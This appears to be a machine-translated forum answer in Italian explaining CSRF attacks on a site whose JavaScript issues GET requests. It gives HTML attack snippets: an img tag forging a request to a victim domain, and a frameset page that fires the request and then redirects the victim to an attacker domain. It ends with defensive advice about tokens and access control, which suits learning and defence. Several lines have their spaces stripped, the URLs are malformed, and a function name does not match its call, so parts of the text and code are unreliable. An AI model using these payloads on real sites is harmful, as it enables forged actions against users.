In primo luogo, posso vedere che si tratta di una vulnerabilità CSRF, se il sito Web ha un JS che esegue una richiesta GET, quindi vedo il seguente scenario:
1.-Un utente malintenzionato può vedere e analizzare il tuo codice JS e usarlo per i suoi scopi.
2. L'autore dell'attacco potrebbe creare un sito web che include il tuo JS.
<script src="http//:victimdomain/js/myscript.js"></script>
3.-IlsitowebcontieneuntagcheesegueilJSinmodochel'utentefinalenonseneaccorga.
<bodyonload="sendRequest("Bob");">
4.-Un problema potrebbe essere se il codice JS reindirizzasse su un altro sito, la vittima saprebbe che qualcosa di brutto è successo. L'utente malintenzionato deve sapere come il codice JS gestisce la risposta e provare a modificare per mantenere la vittima sul sito Web corrente, forse è necessario digitare una funzione JS per questo scopo.
5. Infine, l'aggressore invia il suo exploit (sito malevolo) alle vittime e non è in grado di rendersi conto di cosa accada.
In questo modo, un attacco CSRF potrebbe essere facile da sfruttare. Ora, se non avessi un codice JS per eseguire una richiesta GET e l'utente malintenzionato avrebbe più opzioni da sfruttare, ad esempio, come hai detto, un utente malintenzionato potrebbe fare qualcosa del genere:
<img src="http//:victimdomain/action?param=Bob"/>
Ma,comehodettoprima,larichiestaGETpotrebbereindirizzareaunaltrosito,quindiquestapotrebbeessereunabuonasoluzioneperunutentemalintenzionato:
1.-Costruisciunsitowebcondueiframe,qualcosacomequesto:
<html><head><title>ejemploCSRF</title></head><framesetcols="1%, 99%">
<frame src="exploit.html">
<frame src="empty.html">
</frameset>
</html>
2.-exploit.html conterrà la richiesta Ottieni.
<img src="http//:victimdomain/action?param=Bob"/>
3.-empty.htmlconterràilseguentecodice:
<html><head><title>ejemploCSRF</title><script>functionpeticion(){setTimeout(function(){if(top!=self)top.location.href="http://attackerdomain/falsewebsite";
}, 1000);
}
</script>
</head>
<body onload="redirect();">
</body>
</html>
4.-La funzione JS convalida la finestra corrente, se la finestra più in alto è diversa dalla finestra corrente (in questo caso il file empty.html), quindi reindirizza al sito Web di un utente malintenzionato e, infine, la vittima non realizzerà cosa succede.
Quindi, penso che il tuo sito web potrebbe essere vulnerabile a CSRF e ci sono modi per sfruttarlo (non solo i miei esempi), quindi dovresti proteggere il tuo sito web. I miei consigli sono:
- Utilizza un token imprevedibile per ogni richiesta.
- Se il codice JS contiene parte della logica aziendale del tuo sito web, dovresti proteggerlo, applicare il controllo dell'accesso, solo gli utenti autorizzati possono utilizzare quel codice JS e offuscarlo.
Spero che questa informazione ti aiuti.